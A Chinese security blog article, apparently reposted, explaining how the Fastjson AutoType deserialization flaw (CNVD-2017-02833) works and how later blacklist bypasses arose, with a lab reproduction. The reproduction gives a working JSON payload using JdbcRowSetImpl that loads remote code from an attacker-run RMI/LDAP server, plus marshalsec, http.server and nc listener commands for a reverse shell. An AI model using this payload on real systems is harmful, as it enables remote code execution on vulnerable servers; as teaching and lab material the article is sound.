Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)

admin 2025年4月10日15:16:21评论11 views字数 4536阅读15分7秒阅读模式
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)

免责声明!

公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法

大 纲

Fastjson介绍

相关概念及Fastjson反序列化漏洞原理

复现RCE CNVD-2017-02833漏洞

RCE CNVD-2017-02833漏洞演进

1

Fastjson介绍:

(1) Fastjson官方介绍及使用:

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

(2) Alibaba开源系列:

DruidFastjsonDubbo、OceanBase、Tengine、TFS、RocketMQ、Canal等等。

https://github.com/orgs/alibaba/repositories

(3) 序列化或反序列化组件有哪些?

有fastjson、gson、jackson等,而fastjson是一个java写的拥有高性能且功能完善的json库,接口,简单易用。

2

相关概念及Fastjson反序列化漏洞原理:

(1) 什么是json?

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。举个简单的例子如下:
{    "name":"BossFrank",    "age":23,    "media":["CSDN","bilibili","Github"]}

json本质就是一种字符串,用于信息的存储和交换。

在文章《Web篇 一文掌握Java反序列化漏洞,干货!(上)》中也有讲解json的由来。

https://mp.weixin.qq.com/s/GqjOwAJPFKMj4x7vx08o0A

(2) Fastjson反序列化漏洞原理:

Fastjson的漏洞本质还是一个java反序列化漏洞

Fastjson在序列化的时候就会使用AutoType功能进行对序列化后的JSON字符带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法。

然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

(3) 为什么要使用AutoType功能?

Fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {    private Big_Decimal price;    //省略 setter/getter、toString等}
class iphone implements Fruit {    private Big_Decimal price;    //省略 setter/getter、toString等}

实例化对象之后,假设苹果对象的price0.5Apple类对象序列化为json格式后为:

{    "Fruit":{    "price":0.5    }}

假设iphone对象的price5000,序列化为json格式后为:

{    "Fruit":{    "price":5000    }}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone

为了解决上述问题:fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

    "fruit":{    "@type":"com.hollis.lab.fastjson.test.Apple"    "price":0.5     } }

引入AutoType后,iphone类对象序列化为json格式后为:

    "fruit":{    "@type":"com.hollis.lab.fastjson.test.iphone"    "price":5000     } }

这样在反序列化的时候就可以区分原始的类了。

(4) 为什么能够被RCE呢?

sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用。

(5) 什么是rmi?

RMIRemote Method Invocation,远程方法调用)是Java语言中用于实现分布式系统的机制,允许一个Java虚拟机(JVM)上的对象调用另一个JVM(通常位于不同计算机)上的对象方法。它是Java原生支持的远程通信技术,常用于构建跨网络的分布式应用。

简单讲就是一个机器执行另一个机器给的命令,且不回显。

该漏洞还需一台rmi服务器。

(6) Fastjson反序列化漏洞的攻击流程:

S1:攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

S2:存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。

S3:rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)

S4:rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

S5:靶机服务器执行了恶意代码,被攻击者成功利用。

如下图:
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
原理总结如下:

Fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。攻击者通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞。

服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令。

与Log4j2反序列化漏洞利用点相似。

4

复现RCE CNVD-2017-02833漏洞:

这里我直接使用在线靶场,当然也可以使用vulhub去复现。
S1:使用burp suite发包测试一下:
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
发现存在该漏洞
S2:构造恶意类并编译:
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
S3:将.class文件移动至kali,并开启http服务:
python -m http.server 9999
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
S4:开启rmi监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.127.128:9999/#Exploit" 6666
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)
S5:开启nc监听:
nc -lvp 1888
S6:修改burp suite数据包发送payload:
{    "name":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "x":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.127.128:6666/Exploit",        "autoCommit":true    }}
成功反弹shell,
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)

5

RCE CNVD-2017-02833漏洞演进:

在CNVD-2017-02833漏洞爆出之后,官方对fastjson v1.2.25之后进行了加固与升级,弃掉了之前的Autotype功能,引入了checkAutotype功能。
其原理是先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。
也就是当@Type的值为com.sun.rowset.JdbcRowSetImpl时就对目标类不进行反序列化操作,但是fastjson有一段特殊的处理。那就是在具体加载类的时候会去掉className前后的“L”和“;”,那么攻击者就仍然可以借助这段特殊处理绕过黑名单的过滤。
之后官方就对多部分字符串进行黑名单过滤。
直到fastjson v1.2.47,诞生了RCE CNVD-2017-22238漏洞。
(1) 原理:
CNVD-2017-02833漏洞的基础上,我们直到前面弃掉了Autotype功能。

fastjson中有一个全局缓存,在类加载的时候,如果autotype功能没开启,就会先尝试从缓存中获取类,如果缓存中有,则直接返回。

java.lang.Class类对应的deserializerMiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。如果fastjson cachetrue,就会缓存这个val对应的class到全局缓存中。

再后来在fastjson v1.2.68又爆出了类似的漏洞,这里暂时不做讲解,可私信进群讨论欧~
Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)

 没看够~?欢迎关注!

往期精彩推荐

内网篇 | 干货!一文秒懂Kerberos认证:全面剖析与实践指南

内网篇 | CobaltStrike:深入探索本地信息收集技巧,干货!!!

漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!

漏洞复现篇 | Next.js 中间件鉴权绕过漏洞:CVE-2025-29927,速看!!!

Web篇 |【全网最详细】Apache CC反序列化漏洞:CC1调用链POC构造过程,干货!!!(上)

Web篇 | 一文掌握Apache Commons Collections反序列化漏洞,速看!!!(上)

工具篇 | 应急响应工具包,2025Hvv必备神器!!!

Web篇 | 一文掌握Java反序列化漏洞,干货!(上)

Web篇 | 最强sqlmap联动burpsuite+WAF绕过姿势,Hvv面试必备!

内网篇 | 干货!深入解析NTLM协议:挑战-响应认证机制揭秘,红队必备!

内网篇 | 史上最全的内网IP扫描攻略,干货!

漏洞复现篇 | CVE-2025-24813 Tomcat,最新RCE漏洞,速看!!!

内网篇 | 【送给小白的】内网信息收集:端口扫描详解,干货!!!

工具篇 | 把deepseek塞进微信:实现自动回复消息!王炸!!!

SRC篇 | 如此简单的逻辑漏洞,速看!!!

红队必备:一文教你掌握pwd抓取技术,让你秒变高手!

SRC篇 | 今天你挖洞了吗?Webpack未授权访问漏洞,实战!

Web篇 | 技巧!布尔盲注-利用burpsuite实现半自动化

漏洞复现篇 | Ecshop SQL注入引起的任意代码执行漏洞

内网篇 | 干货!Windows系统本地认证

原文始发于微信公众号(零日安全实验室):Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日15:16:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Web篇 | Fastjson反序列化漏洞深度剖析:成因、挖掘思路与防范攻略(上)https://cn-sec.com/archives/3939926.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息